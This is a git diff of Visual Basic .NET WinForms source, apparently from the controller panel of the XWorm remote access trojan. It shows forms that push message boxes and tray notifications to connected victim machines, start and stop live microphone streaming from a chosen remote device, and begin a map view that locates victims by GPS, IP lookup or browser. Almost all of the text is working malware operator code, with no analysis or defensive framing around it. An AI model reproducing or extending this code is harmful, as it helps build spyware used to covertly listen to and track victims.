Guna2ComboBox3.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox3.BorderRadius = 3
|
||||
Guna2ComboBox3.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
|
||||
Guna2ComboBox3.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
|
||||
Guna2ComboBox3.FocusedColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox3.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox3.Font = New System.Drawing.Font("Segoe UI", 8.25!)
|
||||
Guna2ComboBox3.ForeColor = System.Drawing.Color.Black
|
||||
Guna2ComboBox3.ItemHeight = 15
|
||||
Guna2ComboBox3.Items.AddRange(New Object() {"Info", "Warning", "Error", "None"})
|
||||
Guna2ComboBox3.Location = New System.Drawing.Point(17, 41)
|
||||
Guna2ComboBox3.Name = "Guna2ComboBox3"
|
||||
Guna2ComboBox3.Size = New System.Drawing.Size(154, 21)
|
||||
Guna2ComboBox3.TabIndex = 96
|
||||
'
|
||||
'Guna2TextBox3
|
||||
'
|
||||
Guna2TextBox3.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox3.BorderRadius = 3
|
||||
Guna2TextBox3.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox3.DefaultText = "Hello World!"
|
||||
Guna2TextBox3.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox3.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox3.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox3.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox3.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox3.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox3.Location = New System.Drawing.Point(17, 134)
|
||||
Guna2TextBox3.Multiline = True
|
||||
Guna2TextBox3.Name = "Guna2TextBox3"
|
||||
Guna2TextBox3.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox3.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox3.PlaceholderText = ""
|
||||
Guna2TextBox3.ScrollBars = System.Windows.Forms.ScrollBars.Both
|
||||
Guna2TextBox3.SelectedText = ""
|
||||
Guna2TextBox3.Size = New System.Drawing.Size(438, 74)
|
||||
Guna2TextBox3.TabIndex = 97
|
||||
'
|
||||
'Guna2TextBox4
|
||||
'
|
||||
Guna2TextBox4.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox4.BorderRadius = 3
|
||||
Guna2TextBox4.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox4.DefaultText = "BalloonTip"
|
||||
Guna2TextBox4.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox4.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox4.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox4.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox4.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox4.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox4.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox4.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox4.Location = New System.Drawing.Point(17, 94)
|
||||
Guna2TextBox4.Name = "Guna2TextBox4"
|
||||
Guna2TextBox4.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox4.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox4.PlaceholderText = ""
|
||||
Guna2TextBox4.SelectedText = ""
|
||||
Guna2TextBox4.Size = New System.Drawing.Size(438, 21)
|
||||
Guna2TextBox4.TabIndex = 98
|
||||
'
|
||||
'Guna2GradientButton2
|
||||
'
|
||||
Guna2GradientButton2.BorderRadius = 4
|
||||
Guna2GradientButton2.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton2.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton2.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton2.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton2.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton2.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton2.Image = CType(resources.GetObject("Guna2GradientButton2.Image"), System.Drawing.Image)
|
||||
Guna2GradientButton2.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton2.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton2.Location = New System.Drawing.Point(17, 214)
|
||||
Guna2GradientButton2.Name = "Guna2GradientButton2"
|
||||
Guna2GradientButton2.Size = New System.Drawing.Size(438, 27)
|
||||
Guna2GradientButton2.TabIndex = 99
|
||||
Guna2GradientButton2.Text = "Ok"
|
||||
'
|
||||
'MBox
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(479, 320)
|
||||
Controls.Add(Guna2TabControl1)
|
||||
Controls.Add(StatusStrip1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "MBox"
|
||||
Text = "MessageBox"
|
||||
StatusStrip1.ResumeLayout(False)
|
||||
StatusStrip1.PerformLayout()
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
CType(PictureBox2, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
Guna2TabControl1.ResumeLayout(False)
|
||||
TabPage1.ResumeLayout(False)
|
||||
TabPage1.PerformLayout()
|
||||
TabPage2.ResumeLayout(False)
|
||||
TabPage2.PerformLayout()
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents ImageList1 As ImageList
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents StatusStrip1 As StatusStrip
|
||||
Friend WithEvents ToolStripStatusLabel1 As ToolStripStatusLabel
|
||||
Friend WithEvents Label1 As Label
|
||||
Friend WithEvents Label2 As Label
|
||||
Friend WithEvents PictureBox1 As PictureBox
|
||||
Friend WithEvents Label4 As Label
|
||||
Friend WithEvents Label3 As Label
|
||||
Friend WithEvents Label6 As Label
|
||||
Friend WithEvents Label7 As Label
|
||||
Friend WithEvents PictureBox2 As PictureBox
|
||||
Friend WithEvents Label5 As Label
|
||||
Friend WithEvents Guna2TabControl1 As Guna.UI2.WinForms.Guna2TabControl
|
||||
Friend WithEvents TabPage1 As TabPage
|
||||
Friend WithEvents TabPage2 As TabPage
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2ComboBox1 As Guna.UI2.WinForms.Guna2ComboBox
|
||||
Friend WithEvents Guna2ComboBox2 As Guna.UI2.WinForms.Guna2ComboBox
|
||||
Friend WithEvents Guna2TextBox1 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2TextBox2 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2ComboBox3 As Guna.UI2.WinForms.Guna2ComboBox
|
||||
Friend WithEvents Guna2GradientButton2 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2TextBox4 As Guna.UI2.WinForms.Guna2TextBox
|
||||
Friend WithEvents Guna2TextBox3 As Guna.UI2.WinForms.Guna2TextBox
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,77 @@
|
||||
Imports System.Threading
|
||||
Public Class MBox
|
||||
|
||||
Public C As Client
|
||||
Private Sub MBox_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
Guna2ComboBox1.SelectedIndex = 0
|
||||
Guna2ComboBox2.SelectedIndex = 2
|
||||
Guna2ComboBox3.SelectedIndex = 0
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub MBox_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("CloseMessageBox")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
Dim B As Byte() = SB("MessageBox" & SettingsHelper.SPL & Guna2ComboBox2.Text & SettingsHelper.SPL & Guna2ComboBox1.Text & SettingsHelper.SPL & Guna2TextBox1.Text & SettingsHelper.SPL & Guna2TextBox2.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2ComboBox1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles Guna2ComboBox1.SelectedIndexChanged
|
||||
If Guna2ComboBox1.Text = "None" Then
|
||||
PictureBox1.Image = Nothing
|
||||
PictureBox1.Visible = False
|
||||
End If
|
||||
If Guna2ComboBox1.Text = "Information" Then
|
||||
PictureBox1.Visible = True
|
||||
PictureBox1.Image = My.Resources.Information
|
||||
End If
|
||||
If Guna2ComboBox1.Text = "Question" Then
|
||||
PictureBox1.Visible = True
|
||||
PictureBox1.Image = My.Resources.Question
|
||||
End If
|
||||
If Guna2ComboBox1.Text = "Warning" Then
|
||||
PictureBox1.Visible = True
|
||||
PictureBox1.Image = My.Resources.Warning
|
||||
End If
|
||||
If Guna2ComboBox1.Text = "Error" Then
|
||||
PictureBox1.Visible = True
|
||||
PictureBox1.Image = My.Resources._Error
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2ComboBox3_SelectedIndexChanged(sender As Object, e As EventArgs) Handles Guna2ComboBox3.SelectedIndexChanged
|
||||
If Guna2ComboBox3.Text = "None" Then
|
||||
PictureBox2.Image = Nothing
|
||||
PictureBox2.Visible = False
|
||||
End If
|
||||
If Guna2ComboBox3.Text = "Info" Then
|
||||
PictureBox2.Visible = True
|
||||
PictureBox2.Image = My.Resources.Information
|
||||
End If
|
||||
If Guna2ComboBox3.Text = "Warning" Then
|
||||
PictureBox2.Visible = True
|
||||
PictureBox2.Image = My.Resources.Warning
|
||||
End If
|
||||
If Guna2ComboBox3.Text = "Error" Then
|
||||
PictureBox2.Visible = True
|
||||
PictureBox2.Image = My.Resources._Error
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton2_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton2.Click
|
||||
Dim B As Byte() = SB("NotifyIcon" & SettingsHelper.SPL & Guna2ComboBox3.Text & SettingsHelper.SPL & Guna2TextBox3.Text & SettingsHelper.SPL & Guna2TextBox4.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+148
@@ -0,0 +1,148 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class MIC
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(MIC))
|
||||
Label1 = New System.Windows.Forms.Label()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
StatusStrip1 = New System.Windows.Forms.StatusStrip()
|
||||
ToolStripStatusLabel1 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
Guna2ComboBox1 = New Guna.UI2.WinForms.Guna2ComboBox()
|
||||
Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
PictureBox1 = New System.Windows.Forms.PictureBox()
|
||||
StatusStrip1.SuspendLayout()
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
SuspendLayout()
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Label1.AutoSize = True
|
||||
Label1.ForeColor = System.Drawing.Color.Black
|
||||
Label1.Location = New System.Drawing.Point(12, 11)
|
||||
Label1.Name = "Label1"
|
||||
Label1.Size = New System.Drawing.Size(54, 13)
|
||||
Label1.TabIndex = 15
|
||||
Label1.Text = "Devices : "
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'StatusStrip1
|
||||
'
|
||||
StatusStrip1.BackColor = System.Drawing.Color.White
|
||||
StatusStrip1.ImageScalingSize = New System.Drawing.Size(24, 24)
|
||||
StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripStatusLabel1})
|
||||
StatusStrip1.Location = New System.Drawing.Point(0, 263)
|
||||
StatusStrip1.Name = "StatusStrip1"
|
||||
StatusStrip1.Padding = New System.Windows.Forms.Padding(1, 0, 9, 0)
|
||||
StatusStrip1.Size = New System.Drawing.Size(348, 22)
|
||||
StatusStrip1.TabIndex = 16
|
||||
StatusStrip1.Text = "StatusStrip1"
|
||||
'
|
||||
'ToolStripStatusLabel1
|
||||
'
|
||||
ToolStripStatusLabel1.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"
|
||||
ToolStripStatusLabel1.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel1.Text = ".."
|
||||
'
|
||||
'Guna2ComboBox1
|
||||
'
|
||||
Guna2ComboBox1.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2ComboBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.BorderRadius = 3
|
||||
Guna2ComboBox1.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
|
||||
Guna2ComboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
|
||||
Guna2ComboBox1.FocusedColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.Font = New System.Drawing.Font("Segoe UI", 8.25!)
|
||||
Guna2ComboBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2ComboBox1.ItemHeight = 15
|
||||
Guna2ComboBox1.Location = New System.Drawing.Point(12, 27)
|
||||
Guna2ComboBox1.Name = "Guna2ComboBox1"
|
||||
Guna2ComboBox1.Size = New System.Drawing.Size(324, 21)
|
||||
Guna2ComboBox1.TabIndex = 93
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Guna2GradientButton1.BorderRadius = 4
|
||||
Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton1.Image = Global.XWorm.My.Resources.Resources.Play
|
||||
Guna2GradientButton1.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton1.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton1.Location = New System.Drawing.Point(12, 221)
|
||||
Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Guna2GradientButton1.Size = New System.Drawing.Size(324, 28)
|
||||
Guna2GradientButton1.TabIndex = 95
|
||||
Guna2GradientButton1.Text = "Start"
|
||||
'
|
||||
'PictureBox1
|
||||
'
|
||||
PictureBox1.Enabled = False
|
||||
PictureBox1.Image = CType(resources.GetObject("PictureBox1.Image"), System.Drawing.Image)
|
||||
PictureBox1.Location = New System.Drawing.Point(12, 54)
|
||||
PictureBox1.Name = "PictureBox1"
|
||||
PictureBox1.Size = New System.Drawing.Size(324, 161)
|
||||
PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom
|
||||
PictureBox1.TabIndex = 101
|
||||
PictureBox1.TabStop = False
|
||||
'
|
||||
'MIC
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(348, 285)
|
||||
Controls.Add(PictureBox1)
|
||||
Controls.Add(Guna2GradientButton1)
|
||||
Controls.Add(Guna2ComboBox1)
|
||||
Controls.Add(Label1)
|
||||
Controls.Add(StatusStrip1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "MIC"
|
||||
Text = "MIC"
|
||||
StatusStrip1.ResumeLayout(False)
|
||||
StatusStrip1.PerformLayout()
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents Label1 As Label
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents StatusStrip1 As StatusStrip
|
||||
Friend WithEvents ToolStripStatusLabel1 As ToolStripStatusLabel
|
||||
Friend WithEvents Guna2ComboBox1 As Guna.UI2.WinForms.Guna2ComboBox
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents PictureBox1 As PictureBox
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,75 @@
|
||||
Imports NAudio.Wave
|
||||
Imports System.Threading
|
||||
Public Class MIC
|
||||
|
||||
Public C As Client
|
||||
Public waveplayer As WaveOut = New WaveOut()
|
||||
Public bwp As BufferedWaveProvider = New BufferedWaveProvider(New WaveFormat(8000, 16, 1))
|
||||
Private Sub MIC_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
Guna2GradientButton1.PerformClick()
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub MIC_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
|
||||
Try
|
||||
waveplayer.Stop()
|
||||
waveplayer?.Dispose()
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
|
||||
Dim B As Byte() = SB("ENDMIC")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
Try
|
||||
If Guna2GradientButton1.Text = "Start" Then
|
||||
|
||||
Dim B As Byte() = SB("MIC" & SettingsHelper.SPL & Guna2ComboBox1.SelectedIndex.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
Guna2GradientButton1.Text = "Stop"
|
||||
Guna2GradientButton1.Image = My.Resources._Stop
|
||||
PictureBox1.Enabled = True
|
||||
|
||||
Else
|
||||
|
||||
Dim B As Byte() = SB("CLOSEMIC")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
Guna2GradientButton1.Text = "Start"
|
||||
Guna2GradientButton1.Image = My.Resources.Play
|
||||
PictureBox1.Enabled = False
|
||||
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2ComboBox1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles Guna2ComboBox1.SelectedIndexChanged
|
||||
Try
|
||||
Dim B As Byte() = SB("CLOSEMIC")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
Guna2GradientButton1.Text = "Start"
|
||||
Guna2GradientButton1.Image = My.Resources.Play
|
||||
PictureBox1.Enabled = False
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
End Class
|
||||
Generated
+2312
File diff suppressed because it is too large
Load Diff
+30518
File diff suppressed because it is too large
Load Diff
+1940
File diff suppressed because it is too large
Load Diff
Generated
+153
@@ -0,0 +1,153 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()>
|
||||
Partial Class Maps
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()>
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()>
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Maps))
|
||||
GMapControl1 = New GMap.NET.WindowsForms.GMapControl()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
StatusStrip1 = New System.Windows.Forms.StatusStrip()
|
||||
ToolStripStatusLabel1 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
Guna2ContextMenuStrip2 = New Guna.UI2.WinForms.Guna2ContextMenuStrip()
|
||||
GPSToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
IPAPIToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
BrowserToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
StatusStrip1.SuspendLayout()
|
||||
Guna2ContextMenuStrip2.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'GMapControl1
|
||||
'
|
||||
GMapControl1.Bearing = 0!
|
||||
GMapControl1.CanDragMap = True
|
||||
GMapControl1.ContextMenuStrip = Guna2ContextMenuStrip2
|
||||
GMapControl1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
GMapControl1.EmptyTileColor = System.Drawing.Color.Navy
|
||||
GMapControl1.GrayScaleMode = False
|
||||
GMapControl1.HelperLineOption = GMap.NET.WindowsForms.HelperLineOptions.DontShow
|
||||
GMapControl1.LevelsKeepInMemmory = 5
|
||||
GMapControl1.Location = New System.Drawing.Point(0, 0)
|
||||
GMapControl1.MarkersEnabled = True
|
||||
GMapControl1.MaxZoom = 16
|
||||
GMapControl1.MinZoom = 0
|
||||
GMapControl1.MouseWheelZoomEnabled = True
|
||||
GMapControl1.MouseWheelZoomType = GMap.NET.MouseWheelZoomType.MousePositionAndCenter
|
||||
GMapControl1.Name = "GMapControl1"
|
||||
GMapControl1.NegativeMode = False
|
||||
GMapControl1.PolygonsEnabled = True
|
||||
GMapControl1.RetryLoadTile = 0
|
||||
GMapControl1.RoutesEnabled = True
|
||||
GMapControl1.ScaleMode = GMap.NET.WindowsForms.ScaleModes.[Integer]
|
||||
GMapControl1.SelectedAreaFillColor = System.Drawing.Color.FromArgb(CType(CType(33, Byte), Integer), CType(CType(65, Byte), Integer), CType(CType(105, Byte), Integer), CType(CType(225, Byte), Integer))
|
||||
GMapControl1.ShowTileGridLines = False
|
||||
GMapControl1.Size = New System.Drawing.Size(492, 270)
|
||||
GMapControl1.TabIndex = 11
|
||||
GMapControl1.Zoom = 5.0R
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'StatusStrip1
|
||||
'
|
||||
StatusStrip1.BackColor = System.Drawing.Color.White
|
||||
StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripStatusLabel1})
|
||||
StatusStrip1.Location = New System.Drawing.Point(0, 270)
|
||||
StatusStrip1.Name = "StatusStrip1"
|
||||
StatusStrip1.Size = New System.Drawing.Size(492, 22)
|
||||
StatusStrip1.TabIndex = 12
|
||||
StatusStrip1.Text = "StatusStrip1"
|
||||
'
|
||||
'ToolStripStatusLabel1
|
||||
'
|
||||
ToolStripStatusLabel1.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"
|
||||
ToolStripStatusLabel1.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel1.Text = ".."
|
||||
'
|
||||
